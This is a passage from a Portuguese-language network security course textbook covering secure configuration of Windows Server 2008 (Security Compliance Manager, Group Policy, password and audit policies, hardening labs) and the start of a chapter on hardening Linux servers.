Captulo 9 - Configurao segura de servidores Windows

Figura 9.11
Microsoft Baseline
Security Analyzer.

211

A figura a seguir mostra o console principal da ferramenta:

Figura 9.12
Microsoft Security
Compliance Manager.

Ele requer o .NET runtime e o SQL Server Express. Os seguintes passos so necessrios para
a instalao da ferramenta:
1. Baixe a ferramenta no seguinte link: http://go.microsoft.com/fwlink/?LinkId=14840.
2. Execute a instalao. O User Account Control (UAC) vai pedir permisses para executar o

instalador como administrador. Autorize as permisses.


3. Na tela seguinte, marque a opo: Automatically check for application and baseline

updates from microsoft.com during application usage for current user.


4. Aceite os termos da licena. Instale a ferramenta no diretrio padro e escolha um nome

para identificar as baselines criadas (ex.: ESR).


5. Na pgina referente ao SQL Server Express, escolha a opo Download and Install.
6. Aceite os termos da licena do SQL Server Express.
7. Aguarde a instalao da ferramenta e seus pr-requisitos. Dependendo da conexo de

internet, pode demorar um tempo.


Durante a instalao, caso o .NET Runtime no esteja instalado, o MSCM no ser instalado e
Segurana de Redes e Sistemas

ser necessrio baixar e instalar esse componente.

212

Ao iniciarmos o MSCM pela primeira vez, o aplicativo automaticamente busca e instala as


verses mais recentes dos templates de segurana para as plataformas suportadas por ele.
Essa atualizao importante para garantir que as ltimas verses dos templates esto
sendo utilizadas. Essa atualizao pode tambm ser realizada atravs do menu Tools,
opo Check for baselines. Na tela principal, temos ento os seguintes componentes:

w
O Microsoft Security
Compliance Manager
pode ser baixado em
http://technet.
microsoft.com

Figura 9.13
Microsoft Security Compliance
Manager.

Baseline Library

11 Lista todas as baselines numa estrutura hierrquica.


11 Ao clicar em uma baseline com o boto direito, um menu apresenta alguns comandos
que podem ser aplicados.
Baseline Information Pane
11 Apresenta informaes sobre a baseline selecionada.
Actions
11 Apresenta comandos para a gerncia das baselines.
Vamos agora imaginar que queremos criar uma baseline para o Windows 7. Ao iniciar o
MSCM, vemos no lado esquerdo o painel de bibliotecas de baseline. Dentro da categoria
Windows 7, vamos escolher uma baseline que se adeque s nossas necessidades. Neste
uma srie de informaes.
Agora, podemos verificar que a baseline escolhida se refere a uma poltica para estaes de
trabalho (desktop). A sigla SSLF se refere a Segurana Especializada Funcionalidade Limitada, que indica que a poltica correspondente bastante restritiva. Segundo a descrio,
essa poltica s aplicvel em organizaes que possuam altos padres de segurana,
onde ela mais importante que a funcionalidade das aplicaes. Ela ainda assume que o
ambiente utiliza o Active Directory e que a comunicao s feita com computadores com a
verso mais atual do sistema Windows e com as atualizaes mais recentes.
Na parte superior da janela, vemos uma aba Documents, que nos fornece informaes adicionais
sobre a segurana do sistema operacional em questo. No exemplo, o documento Windows 7
Security Guide.docx oferece um guia completo sobre a segurana desse sistema operacional.
A partir de uma baseline padro, exporta-se para formatos que podem ser aplicados em
computadores, como GPO, DCM e SCAP. Para customizar uma baseline, porm, temos de

Captulo 9 - Configurao segura de servidores Windows

exemplo, usaremos o Win7-SSLF-Desktop 1.0. Ao clicar na baseline no painel central, vemos

213

criar uma cpia, pois as da Microsoft no so editveis. No painel do lado direito, encontramos a opo Duplicate, que permite duplicar uma baseline, que aparecer na rvore do
lado esquerdo da janela, na parte superior.

Figura 9.14
Exemplo de
duplicao de
baseline.

A partir dessa cpia, podemos analisar cada parmetro de configurao e alter-lo, criando uma
nova baseline personalizada. No exemplo, ao clicar em Power management/sleep settings e
na aba Definitions abaixo, podemos habilitar (enable) e desabilitar (disable) esse item especfico,
que corresponde exigncia de senha quando o computador sair do modo de espera.
Ao finalizar a configurao desejada, a opo Create GPO Backup permite criar um Group
Policy Object (GPO), que pode ser aplicado em um computador especfico (ou em um
conjunto de computadores), utilizando o Active Directory ou o Local Policy Tool (LPT), que
acompanha a ferramenta. Opcionalmente podemos exportar a configurao no formato
Desired Configuration Management (DCM), de modo a utilizar o Configuration Manager para
monitorar os computadores no ambiente, verificando se esto de acordo com as baselines
definidas. Por se tratar de um produto comercial, o System Center Configuration Manager
no ser detalhado neste captulo.

Exerccio de fixao 4 e
Microsoft Security Compliance Manager
Explique como funciona o Microsoft Security Compliance Manager?

Sistemas de arquivos e gerenciamento de usurios


Sistemas de arquivos do Windows:

11 FAT32.
11 NTFS.
11 Controle de acesso em sistemas NTFS.
Por fim, porm no menos importante, um sistema seguro deve utilizar um sistema de

Segurana de Redes e Sistemas

arquivos que suporte a criao de permisses, de modo a limitar o acesso dos usurios, limi-

214

tando um potencial estrago em caso de comprometimento de uma conta de usurio, alm de


incluir o mnimo de usurios possveis. O sistema de arquivos padro do Windows, a partir da
verso NT, o NTFS. Apesar de suportar outros sistemas, como o FAT32, recomenda-se que
seja usado sempre o NTFS por questes de segurana, pois ele possui a capacidade de ajuste
de permisses por usurio (ACL), para que o sistema de arquivos possa ser configurado de
modo que os usurios s tenham acesso ao que realmente for necessrio para a utilizao do
sistema (princpio do menor privilgio). Podemos verificar as permisses de um determinado
arquivo ou pasta no sistema, atravs das propriedades, na aba Segurana:

Figura 9.15
Permisses de
um determinado
arquivo.

vendo permisses. importante lembrar que os servidores que utilizam NTFS como sistema
de arquivos j possuem uma configurao inicial razoavelmente restritiva, de modo que
um usurio no administrador tenha poucos privilgios no ambiente, no conseguindo
instalar novos programas e com permisso de gravao apenas na sua pasta de trabalho.
Ao configurar o sistema, devemos verificar ainda as contas de usurio, removendo todas
as contas que no esto em uso, especialmente contas de convidado (guest), e definindo
senhas complexas para os usurios e para a conta de administrao. Outra prtica comum
renomear a conta de administrador, de modo que dificulte a ao de ataques de fora bruta,
com o objetivo de encontrar a senha dessa conta.

Group Policy Objects


Uma das grandes tarefas de um administrador de redes o gerenciamento de usurios,
grupos e computadores de uma rede e, dependendo do tamanho da estrutura da organizao, essa tarefa pode demandar horas e mais horas de planejamento e execuo. Uma
ferramenta de vital importncia para suprir essa demanda sem dvida o Group Policy
Objects (GPO), presente nos sistemas operacionais de rede da Microsoft desde a verso
2000. Com ele podemos controlar boa parte do comportamento tanto das estaes de trabalho que compem nosso parque de mquinas quanto do prprio servidor.
Essas polticas facilitam a configurao de vrias mquinas ao mesmo tempo, bastando
apenas escolher qual poltica utilizar para toda a empresa, para um grupo especfico ou
mesmo para apenas uma estao de trabalho.
Com o GPO podemos:
11 Restringir cones e botes da rea de trabalho ou do menu Iniciar.

Captulo 9 - Configurao segura de servidores Windows

O documento Threats
and Countermeasures: Security Settings
in Windows Server
2008 and Windows
Vista apresenta
recomendaes
importantes
para configurar um
bastion host.

Aqui podemos editar as propriedades de segurana desse objeto, adicionando ou remo-

11 Limitar o nmero de programas a serem executados.


215

11 Restringir opes do Active Desktop.


11 Remover programas desnecessrios.
11 Programar instalaes remotas de programas.
11 Configuraes do Internet Explorer.
As configuraes executadas via GPOs so aplicadas para usurios, computadores, member
servers, Domain Controlers, mas apenas para computadores rodando Windows 2000 (Server
ou Professional), Windows XP, Windows Vista, Windows Server 2003 e Windows Server 2008.
A primeira aproximao que a Microsoft fez com polticas de grupos foi introduzida no
Windows NT 4 atravs do Police Editor, mas foi com o lanamento do Windows 2000 Server
que foi introduzido ao mundo Windows o Group Policy Editor, que inclua:
11 Configurao dos principais componentes do Windows.
11 Configurao dos principais recursos dos Active Desktop.
11 Configurao das regras de segurana.
11 Instalao de Softwares do tipo Windows Installer.
11 Configuraes por computador ou usurio.
11 Herana, bloqueio de herana e regras mandatrias.
Com o lanamento do Windows 2003 Server, a implementao de GPOs ficou ainda mais
fcil, principalmente com o Group Policy Management Console.
Agora, com o Windows 2008 Server, o Group Policy ganhou mais opes, incorporando
muitos dos servios antes feitos apenas atravs de scritps, tais como mapeamento de
impressoras, discos e aspectos do desktop do usurio, incluso de filtros WMI (Windows
Management Instrumentation), permitindo a criao de GPOs especficas conforme o hardware da estao e criao de modelos com o recurso Starter GPO. Quando falamos de
GPO, estamos nos referindo a Diretivas de Grupo. Uma diretiva de grupo um conjunto de
regras que podemos utilizar a fim de facilitar o gerenciamento, configurao e segurana de
computadores e usurios.
Podemos atribuir diretivas em uma GPO. Essa GPO com essas regras podem ser atribudas a um:
11 Site: o mais alto nvel e normalmente atribudo a GPOs mais genricas, vlidas para
qualquer usurio/computador/domnio nesse site.
11 Domnio: vem em segundo nvel. Configuraes feitas nesse nvel afetaram usurios/
computadores dentro do domnio.
11 OU: o que se aplica nas OUs afetaro todos os usurios/computadores dentro dela.
Para criar uma GPO, basta clicar com o boto direito em uma das opes acima, clicar em

Segurana de Redes e Sistemas

Propriedades e na aba Group Policy.

216

Figura 9.16
Criando uma GPO.

Exerccio de fixao 5 e
Group Policy Objects (GPO)
Explique o que so Group Policy Objects (GPO).

Polticas de usurios e de computador


O console GPO dividido em duas partes:

11 Computer Configuration
22 Permite aplicar polticas que sempre estaro ativas nas estaes de trabalho,
independente do usurio logado.
22 Como essas polticas so permanentes, a chave de registro modificada em questo
HKEY_LOCAL_MACHINE.
11 User Configuration
22 Essa opo permite a implementao de polticas diretamente nos usurios, no
sendo permanente na estao de trabalho.

qual o usurio faa login.


Se houver algum conflito entre as configuraes dos computadores e dos usurios, as configuraes dos usurios vo prevalecer.

Opes de GPO
11 Software Settings nessa categoria so configurados, por exemplo, a distribuio de
aplicaes para o usurio.
11 Windows Settings permite ao administrador customizar as configuraes do Windows.

Captulo 9 - Roteiro de Atividades

22 Essa poltica estar associada ao usurio e ser aplicada em qualquer estao na

Essas opes so diferentes para usurios e computadores.


217

11 Administrative templates modelos utilizados para configurar as definies de polticas


de segurana de usurios e computadores, essas opes acessam diretamente as chaves
de registro HKEY_LOCAL_MACHINE e HKEY_CURRENT_USER.

Ordem das GPOs


Dependendo da estrutura da organizao, podemos utilizar vrias GPOs para as mais
diversas tarefas e, muitas vezes, essas GPOs podem ser aplicadas a um mesmo objeto, seja
diretamente ou por herana. Nesse caso, as GPOs possuem uma hierarquia para serem
aplicadas:
11 GPO local.
11 GPO de site.
11 GPO de domnio.
11 GPO de OU.
As GPOs so baseadas em modelos que possuem uma lista de opes configurveis de forma bastante
intuitiva. Em sua maioria oferecem a opo de:
11 Habilitada: especifica o item que ser ativado.
11 Desabilitada: especifica o item que ser desativado.
11 No configurada: deixa a opo neutra: no est ativada nem desativada, essa a
opo padro.

Heranas de GPO
Para facilitar a criao de GPOs, pode-se especificar em um site uma poltica global, como
mudana de senha ou papel de parede especfico, e em domnio ou OU uma poltica mais
restritiva e personalizada. Por padro, as GPOs podem ser sobrepostas caso existam
polticas habilitadas em um site e em um domnio, seguindo sempre a precedncia da mais
prxima. Por exemplo, podemos configurar em nvel de site uma GPO para que os usurios
troquem a senha a cada 30 dias. Porm, no domnio foi configurada uma GPO desativando
essa poltica. Nesse caso, a poltica vigente ser a do domnio.
GPO1
Site

GPO2

Segurana de Redes e Sistemas

Domnio

218

GPO3
ou

Entretanto, esse comportamento pode ser alterado atravs das opes:


11 Block Policy Inheritance (Bloquear Herana de Polticas): especifica que as configuraes
da GPO para um determinado objeto no ser herdada de seu nvel superior.

Figura 9.17
Heranas de GPO.

11 Force Policy Inheritance (Forar Herana de Polticas): especifica que voc no permitir
que nveis filhos possam sobrescrever suas configuraes de GPO. Por exemplo, se o
administrador de rede da empresa deseja criar uma GPO que force os usurios a utilizarem uma senha de nove dgitos e no deseja que os administradores do domnio nem
das OUs dos domnios alterem essa poltica, ele pode criar a GPO, aplicar para todo o site
e marcar a opo de Force Policy Inheritance.

Diretivas de segurana local


Quando trabalhamos com o Windows Server em um domnio, a maior parte das configuraes de segurana pode e deve ser feita atravs de GPOs do Active Directory, facilitando a configurao automtica de parmetros de segurana em todas as estaes de trabalho
automaticamente, eliminando a necessidade de configurao mquina a mquina. Porm, nem todas
as organizaes trabalham com domnios. Dessa maneira, no dispomos de GPOs para configurao de segurana. Para configurar esses parmetros de segurana nos servidores pode-se
utilizar as diretivas de segurana local.
Uma diretiva de segurana local permite ao administrador controlar:
11 Quem acessa os computadores.
11 Quais recursos os usurios esto autorizados a usar no computador.
11 Se as aes de um usurio ou grupo so registradas no Log de eventos.

Entre as mais diversas possibilidades de implementao de itens de segurana que o Windows


Server possibilita a um administrador de sistemas, podemos destacar as seguintes diretivas:
11 Poltica de senhas.
11 Auditoria de contas.

11 Opes de segurana.

Diretiva de senhas
Sempre bom lembrar que uma boa poltica de senhas fundamental para uma organizao, mas, antes de mais nada, um controle de segurana, e antes de defini-lo o administrador precisa entender exatamente quais os riscos envolvidos em se definir como o usurio
vai trabalhar com suas senhas, o valor do que est sendo protegido com essa senha e os
demais controles de acesso que existem adicionalmente alm da prpria senha.

Captulo 9 - Roteiro de Atividades

11 Direitos de usurios.

219

A organizao deve estar preocupada no somente com ataques de fora bruta ou por dicionrio, mas tambm evitar que o usurio esquea a senha e tenha de redefini-la diversas
vezes. Porm, uma fraca poltica de autenticao invalida todas as outras barreiras implementadas, tais como firewalls, criptografia etc. Para se defender contra essas vulnerabilidades, faz-se necessrio uma correta aplicao de diretivas de senha utilizando o console
Diretiva de segurana local ou do domnio, se o servidor for um controlador de domnio.

Opes:
11 A senha deve satisfazer a requisitos de complexidade: se essa diretiva estiver habilitada,
as senhas devero atender aos itens abaixo informados.
11 Aplicar histrico de senhas: configurao de segurana que determina o nmero de
novas senhas exclusivas que devem ser associadas a uma conta de usurio, para que
uma senha antiga possa ser utilizada. Valor entre 0 e 24 senhas.
11 Armazenar senhas usando criptografia reversvel: diretiva que oferece suporte a aplicativos que necessitam armazenar a senha original do usurio, essa opo s deve ser
utilizada se realmente for necessrio.
11 Comprimento mnimo de senha: configurao de segurana que determina o tamanho
mnimo de caracteres que uma conta de usurio pode conter. Valor entre 0 (desativa) e 14.
11 Tempo de vida mximo da senha: configurao que determina o perodo de tempo em
dias em que uma senha pode ser utilizada antes de o sistema solicitar sua alterao.
Valor 0 desativa o tempo mximo. De 1 a 999 define o espao de tempo.
11 Tempo de vida mnimo da senha: configurao que determina o perodo de tempo em
Segurana de Redes e Sistemas

dias em que uma senha deve ser utilizada antes de o usurio poder alter-la. Valor 0 habi-

220

lita o usurio a trocar a senha imediatamente.

Diretiva de auditoria
A auditoria de segurana uma das ferramentas mais poderosas para ajudar a manter a
segurana do sistema. A auditoria deve identificar ataques, bem sucedidos ou no, que
representam algum tipo de ameaa a sua rede ou ataques contra os recursos determinados
em sua avaliao de riscos.

Principais opes:
11 Acesso aos servios de diretrio de auditoria: determina se o sistema operacional far a
auditoria das tentativas dos usurios de acessar os objetos do Active Directory.
11 Auditoria de alterao de diretivas: determina se o sistema operacional far a auditoria
de cada instncia de tentativas de alterao da diretiva de atribuio de direitos, diretivas
de auditoria, diretivas de contas ou diretivas de confiana do usurio.
11 Auditoria de eventos de logon: determina a necessidade de o sistema operacional fazer
auditoria de cada instncia de tentativa de logon ou logoff de um usurio no computador.
11 Auditoria de eventos de sistema: determina a necessidade de o sistema operacional fazer
auditoria dos seguintes itens:
22 Alterao do horrio do sistema.
22 Inicializao ou desligamento do sistema.
22 Carregamento de componentes de autenticao extensvel.
22 Perda de eventos que passaram por auditoria, devido a falha no sistema de auditoria.
22 Se o tamanho do log de segurana exceder o nvel de limite de aviso configurvel.
11 Auditoria de gerenciamento de conta: determina a necessidade de o sistema operacional
auditar eventos de gerenciamento de contas, tais como criao, alterao e excluso de

Captulo 9 - Roteiro de Atividades

contas de usurio e grupos, definio de senhas etc.

221

Atribuio de direitos de usurios

Em determinadas situaes, no basta apenas ativar ou desativar certas diretivas de


segurana. necessrio, em algumas situaes, informar quais usurios devem ou no ter
acesso s opes de segurana de um sistema. A atribuio de direitos de usurio determina
quais contas ou grupos tm direitos ou privilgios no computador.
Principais opes:
11 Acesso a este computador pela rede: esse direito de usurio determina quais usurios e
grupos tm permisso para se conectar com o computador pela rede.
11 Adicionar estaes de trabalho ao domnio: essa configurao de segurana determina
quais grupos ou usurios podem adicionar estaes de trabalho a um domnio.
11 Permitir logon pelos servios de terminal: essa configurao de segurana determina quais
usurios ou grupos tm permisso para fazer logon como um cliente de servios de terminal.
11 Alterar a hora do sistema: permite informar quais usurios tm permisso para alterar a
data e a hora do computador.
11 Apropriar-se de arquivos ou de outros objetos: determina quais usurios podem apropriar-se de objetos protegidos do sistema, incluindo objetos do Active Directory, arquivos
ou pastas, impressoras, chaves do registro, processos e segmentos. Por padro, apenas
os administradores possuem essa opo.

Segurana de Redes e Sistemas

11 Fazer backup de arquivos e pastas: direito do usurio que determina os usurios que

222

podem ignorar permisses de diretrio, registro e outros objetos persistentes, com a


finalidade de fazer backup do sistema. Especificamente esse direito de usurio semelhante a conceder permisses a usurios e grupos para todos os arquivos e pastas do
sistema, mesmo que essas pastas tenham permisses diferentes.

Opes de segurana
Alm das polticas e controles de segurana constantes nas diretivas locais, podemos destacar tambm o conjunto de opes de segurana. Essas opes complementam as polticas
de segurana local.

Essas opes so divididas em:


Acesso rede.

Controles DCOM.

Auditoria.

Desligamento.

Cliente de rede Microsoft.

Dispositivos.

Configuraes do sistema.

Logon interativo.

Console de recuperao.

Membro de domnio.

Contas.

Objetos do sistema.

Controlador de domnio.

Segurana de rede.

Controle de conta de usurio.

Servidor de rede Microsoft.

Captulo 9 - Roteiro de Atividades

Criptografia.

223

224

Segurana de Redes e Sistemas

Roteiro de Atividades 9
Atividade 1 Configurao segura de servidor
Utilizando as tcnicas vistas na parte terica, modifique a configurao do servidor Windows
2008 de modo a torn-lo mais seguro, atendendo aos itens descritos no texto.
No decorrer do texto, foram mencionados alguns pontos de ateno na configurao de um
servidor Windows Seguro, sendo eles:
11 Remover ou desabilitar todos os servios no necessrios no host
11 Remover ou desabilitar todas as contas de usurio no necessrias
11 Remover ou desabilitar todos os protocolos de rede no utilizados
11 Configurar adequadamente os registros de log do sistema, para que possam identificar
possveis ataques ou atividade suspeita
11 Implantar um sistema de deteco de intruso de host
11 Atualizar o sistema operacional com as ltimas correes de segurana disponibilizados
pelo fabricante
11 Filtrar todas as portas desnecessrias ao host
11 Utilizar conexo criptografada para conectar ao host
Para nos auxiliar nesta tarefa, vamos utilizar a ferramenta da MBSA (Microsoft Microsoft
Baseline Security Analyser).
Passo 1

No host WinServer, acesse o site da ferramenta MBSA:


http://www.microsoft.com/technet/security/tools/mbsahome.mspx.

Passo 2

Clique no link da ltima verso do MBSA para ser redirecionado ao portal


da ferramenta.

Passo 3

Faa o download do programa na traduo de lngua em que voc se sinta mais


familiarizado e na plataforma de sua mquina, por exemplo, 32 ou 64 bits.

Passo 4

Execute o programa instalador do MBSA. Depois de finalizada a instalao,


ser adicionado um cone do MBSA em sua rea de trabalho; execute esse
aplicativo com um duplo clique nesse cone.

Passo 5

Faa o Scan no host, aceitando as configuraes padres para o Scan. Aps


completar a varredura, verifique o relatrio final com as sugestes de aes.
Avalie se as sugestes so pertinentes e se esto em conformidade com os
tpicos apresentados no incio desta atividade.

Captulo 9 - Roteiro de Atividades

A URL da ferramenta pode mudar a qualquer momento por definio do fabricante; se o endereo eletrnico acima estiver quebrado, pesquise no Google
Microsoft Baseline Security Analyser.

225

Passo 6

Aplique as correes que voc julgar necessrias, como:


11Atualizao do sistema operacional.
11O firewall do Windows.

11Compartilhamentos habilitados.
11Registros de logs mnimos.
11Servios no necessrios.

Os servios abaixo podem ser desativados sem comprometer a segurana


do sistema:
11Agendador de Tarefas (schedule).
11Ajuda e Suporte (helpsvc).

11udio do Windows (AudioSrv).

11Configurao sem fio (WZCSVC).

11Registro Remoto (RemoteRegistry).


11Spooler de Impresso (spooler).

11Microsoft TAPI Service (TapiSrv).


11Messenger (messenger).
Passo 7

Faa novamente o Scan na mquina local, conforme descrito no Passo 5.


O relatrio do novo Scan apresenta evoluo? necessrio corrigir todos os
alertas apresentados nos relatrios do MBSA?

Atividade 2 Auditoria
Execute uma auditoria no servidor Windows 2008 com o Nessus e compare o resultado com
o da auditoria feita na Atividade 1 do Roteiro de Atividades 8. Houve aumento do nvel de
segurana? Analise o resultado da auditoria e tente realizar mais modificaes na configu-

Segurana de Redes e Sistemas

rao do servidor para torn-lo ainda mais seguro

226

Atividade 3 Envio de log para servidor remoto


Logs so arquivos de texto gerados pelo sistema e que podem ajudar a descobrir problemas
na execuo de softwares, problemas de hardware e incidentes de segurana. Do ponto de
vista da segurana, muito importante deixar esses arquivos seguros, intactos, inalterveis
e de acesso restrito. Uma forma de proteger os logs de um equipamento envi-los para um
servidor central com acesso restrito. Tal funcionalidade ir permitir, inclusive, a correlao
de logs e eventos facilitando a identificao de possveis atacantes.
Nesta atividade iremos utilizar o binrio Snare para enviar os logs do servidor Windows
2008 para um servidor Linux no formato SysLog.
O Windows disponibiliza a configurao de auditoria na ferramenta Group
Policy Editor. Para inici-la, execute o comando:
C:\WINDOWS\system32\gpedit.msc
Na ferramenta, acesse a seo Computer Configuration / Windows Settings /
Security Settings / Local Policies / Audit Policy. Habilite os seguintes eventos
como Sucesso e Falha:
Audit Policy

Valor

Audit account logon events

Success, Failure

Audit account management

Success, Failure

Audit logon events

Success, Failure

Audit object access

Failure

Audit policy change

Success

Audit privilege use

Failure

Audit process tracking

No Auditing

Audit system events

Success, Failure

Para permitir o envio dos logs para o servidor Syslog centralizado, vamos
instalar o software Snare, cujo instalador pode ser encontrado em:
http://www.intersectalliance.com/projects/SnareWindows/
A instalao deve utilizar os padres fornecidos pelo instalador, com exceo da
opo sobre a interface de configurao remota do SNARE. Nessa tela, marque a
opo Enable Web Access e, em password, digite rnpesr.
Agora vamos configurar o Snare. Acesse o endereo http://localhost:6161
no campo usurio digite snare e a senha rnpesr. Clique em Network
Configuration e em Destination Snare Server address. Altere para
172.16.G.10 e em Destination Port altere para 514. Clique em Change
Configuration.
Agora clique em Apply the Latest Audit Configuration e clique no boto
Reload Settings.
Para testar, acesse via SSH o servidor 172.16.G.10 e realize um logon/logoff no
servidor Windows 2008. Observe que foi criado o arquivo 172.16.G.20.log e
dentro dele esto os logs que esto sendo enviados pelo servidor Windows.
Voc pode customizar os logs que sero enviados para o servidor remoto.
Para isso, clique em Objectives Configuration no menu esquerdo. No deixe
de consultar o manual dessa interessante ferramenta.

Captulo 9 - Roteiro de Atividades

Passo 1

227

Atividade 4 Controle de acesso ao sistema operacional


O objetivo dessa atividade realizar a instalao de um software chamado SuRun. A ideia
por trs do SuRun semelhante ao que acontece no Linux com o sudo, ou seja, no permitir
que um usurio administrador possa se autenticar remotamente e, a partir de uma lista de
usurios vlidos, permitir que eles possam executar binrios como administrador.
Passo 1

Utilizando o snap-in Computer Management em Administrative Tools, crie


o usurio suporteloc com a senha rnpesr.
Baixe a ferramenta SuRun (semelhante ao sudo do Unix) do endereo
http://kay-bruns.de/wp/software/surun e instale como Administrador.
Abra a janela de configurao do SuRun, na aba Common Settings.
Habilite a opo Users must enter their password, com dois minutos (min
grace period before asking again).
Habilite a opo Show SuRun settings for experienced users.
Na aba Advanced, habilite Hide SuRun from users that are not members of
the SuRunners group.
Clique em Apply e, em seguida, em Save.
Utilizando o snap-in Computer Management, adicione ao grupo SunRunners
o usurio suporteloc.
Faa um logon/logoff e autentique utilizando o usurio suporteloc.
Para utilizar o SuRun, basta clicar com o boto direito em cima de um snap-in
qualquer ou um executvel e selecionar a opo Start as Administrator.

Passo 2

Agora, vamos configurar o acesso remoto ao servidor Windows 2008 utilizando o servio de Terminal. Para isso, acesse o painel de controle e clique em
System. Selecione Advanced System Settings e clique na aba Remote.
Habilite a opo Allow connections from computers running any version of
Remote Desktop (less secure).
Utilizando o snap-in Computer Management, acrescente o usurio suporteloc dentro do grupo Remote Desktop Users.

Passo 3

Agora vamos bloquear o acesso remoto de usurios membros do grupo


Administradores. Acesse a ferramenta Terminal Services Configuration em
Administrative Tools > Terminal Service.
Clique com o boto direito na conexo RDP-Tcp e edite suas propriedades.
Na aba Security, acesse a opo Advanced.
Escolha o grupo Administrators.
Selecione a opo Edit.
Na permisso Logon, marque a opo Deny.

Segurana de Redes e Sistemas

Para testar, tente autenticar utilizando o usurio Administrator. Agora tente


utilizando o usurio suporteloc.

228

10
objetivos

Configurao segura de
servidores Linux
Estudar uma srie de tcnicas para a configurao segura de um servidor Linux,
desde a sua instalao at a publicao do servidor na internet e realizar a aplicao
prtica dos conhecimentos.

instalao segura de servios, acessos administrativos, ferramentas de segurana


de servidores e testes de configurao e auditoria.

conceitos

Instalao do Linux, desabilitao de servios desnecessrios, pacotes e programas,

Introduo
O elo mais fraco de uma defesa determina a sua resistncia. Quando estabelecemos um permetro de segurana, limitando o contato com a rede pblica atravs de uma rede desmilitarizada (DMZ), os servidores pblicos passam a ser o elo mais fraco da rede na maioria dos casos,
pois so eles que executam servios pblicos que podem ser explorados por atacantes atravs
de vulnerabilidades ou de uma configurao incorreta. O comprometimento de um servidor
na DMZ pode permitir a abertura de conexes para a rede interna, dependendo da poltica de
segurana adotada no permetro. Apesar de ser algo considerado no momento de implantao
podemos citar o trnsito de correio eletrnico de um servidor pblico para um servidor interno,
ou o acesso a um banco de dados interno a partir de uma aplicao web pblica.
Dessa forma, imperativo que haja um investimento significativo na proteo dos servidores
Hardening
Processo de mudana
na configurao de um
servidor, com o intuito
de torn-lo mais seguro.

presentes na DMZ. Essa proteo de servidores muitas vezes chamada de hardening, e


envolve tanto configuraes seguras quanto a instalao de software que aumente a segurana do servidor. No captulo 9, vimos como configurar um servidor seguro utilizando o
sistema operacional Microsoft Windows Server 2008. Neste captulo, veremos como configurar um servidor utilizando o sistema operacional Linux. Durante a parte terica, as informaes apresentadas, na medida do possvel, sero genricas, de modo que a configurao seja
independente da distribuio Linux utilizada. Nas atividades prticas, ser utilizada a distribuio Debian, pois open source e bastante utilizada em servidores.
No decorrer deste captulo, veremos uma srie de tcnicas para a configurao segura de
um servidor Linux, desde a sua instalao at a publicao do servidor na internet.

Captulo 10 - Configurao segura de servidores Linux

do permetro, em alguns casos no possvel realizar um isolamento completo. Como exemplo,

229

Exerccio de nivelamento 1 e
Configurao segura de servidores Linux
Como que voc entende que deve ser feita a configurao segura de servidores Linux?

Instalao do Linux
11 Realizar instalao com o mnimo indispensvel

22 Netinst (Debian).
11 Instalar um sistema mnimo e ir adicionando pacotes para prover as funcionalidades
necessrias.
11 Imagens de disco para criar uma imagem de um sistema j instalado.
22 Tecnologias de virtualizao.
Normalmente, quando instalamos um sistema operacional utilizando as opes padro,
uma srie de programas e servios instalados pode ser desnecessria para o propsito do
servidor. Dessa forma, importante ter em mente o papel que o servidor desempenhar, de
modo a realizar uma instalao com o mnimo indispensvel para o funcionamento do servidor. No caso do Debian, existe uma mdia de instalao denominada netinst, que possui
o mnimo de pacotes para montar um sistema bsico. Essa abordagem interessante, visto
que possvel instalar um sistema mnimo e ir adicionando pacotes para prover as funcionalidades necessrias. Em outros sistemas ou distribuies, normalmente existe uma opo de
instalao avanada, onde o administrador pode configurar o que ser instalado no sistema.
Outra deciso importante em um sistema Linux refere-se ao particionamento do disco rgido
do servidor. Abaixo so listadas algumas regras interessantes a observar durante a instalao:
11 Qualquer rvore de diretrios em que um usurio puder escrever (como /home, /tmp)
deve estar em uma partio separada e usar quotas de disco. Isto reduz o risco de um
usurio encher seu sistema de arquivos e realizar um ataque de negao de servio.
11 Diretrios de uso comum como /home e /tmp podem ser colocados em parties separadas e configurados para no permitir a execuo de arquivos (atributo noexec).
Na mesma linha, o atributo nosuid ignorar o bit de SUID e vai trat-lo como um arquivo
normal, impedindo que um script mal configurado seja executado com permisses de
outro usurio. Esses atributos so configurados no arquivo /etc/fstab.
11 Dados estticos podem ser colocados em uma partio separada, somente como leitura.
Segurana de Redes e Sistemas

Um exemplo seria a partio /etc/, que aps a configurao do servidor, poderia ser
montada em uma mdia em formato de somente leitura, como CD-ROM.
comum administradores utilizarem ferramentas de imagens de disco para criar uma imagem
de um sistema mnimo j instalado, com os recursos bsicos para o bom funcionamento de
um servidor. Essa imagem pode tornar-se o padro para a criao de um novo servidor e o
ponto de partida para a sua configurao. Recursos como NTP para sincronismo de tempo,

NTP

SSH para acesso de administrao e configuraes como fuso horrio, senhas de adminis-

Network Time Protocol


o protocolo de
sincronizao de tempo
na internet.

trao e permisses de acesso devem ser consideradas nessa imagem. Uma vez definida
a imagem, esta pode ser usada para futuras instalaes, de modo a reduzir o trabalho de
implantar um novo servidor, alm ter uma imagem com uma configurao mnima segura.

230

Em tecnologias de virtualizao, o uso de imagens pode facilitar e acelerar muito o processo de criao de novos servidores.

Desabilitando servios desnecessrios


Tarefa complexa para um iniciante, que requer conhecimento sobre os servios.

A regra geral desabilitar todos os servios desnecessrios que abram portas (TCP/UDP)
Ferramentas/comandos:
11 netstat an | more (netstat anp | more)
11 lsof i <protocolo>:<porta>
11 ps aux | more
11 man <servio>
Passos:
11 Determinar o runlevel padro (/etc/inittab).
11 Parar o servio (/etc/init.d/<servio> stop).
11 Remover a inicializao do servio (rcconf).
11 Remover o pacote correspondente do sistema.
Em instalaes padro de um sistema operacional, muitos servios e programas so includos sem que sejam necessariamente importantes para o servio que estamos implantando.
Sendo assim, aps a instalao do sistema, devemos conferir os processos e servios executando na mquina de modo a desativar todos os servios que no sejam indispensveis para
o funcionamento do sistema. Essa uma tarefa complexa para um iniciante, visto que ele
provavelmente no saber o que cada servio faz e poder ter receio de desabilitar alguns
servios. A regra geral nesses casos desabilitar todos os servios que abram alguma porta,
TCP ou UDP no sistema, e que no faam parte de um servio legtimo que se queira oferecer.
Algumas ferramentas auxiliam nessa tarefa, mas o administrador deve ter pacincia para
pesquisar todos os servios com o intuito de determinar se estes podem ser desabilitados.
Recomenda-se ainda que sejam usadas distribuies Linux ou sistemas Unix que lhe sejam
familiares, pois ser mais fcil configur-las. Abaixo alguns comandos teis para o aluno:
11 netstat an | more: mostra todas as portas abertas no sistema. As portas em estado
LISTEN so portas aguardando conexo. importante registrar essas portas e posteriormente tentar descobrir o processo associado. Em algumas distribuies, o comando
netstat anp mostra o processo responsvel por aquela conexo. Segue abaixo um
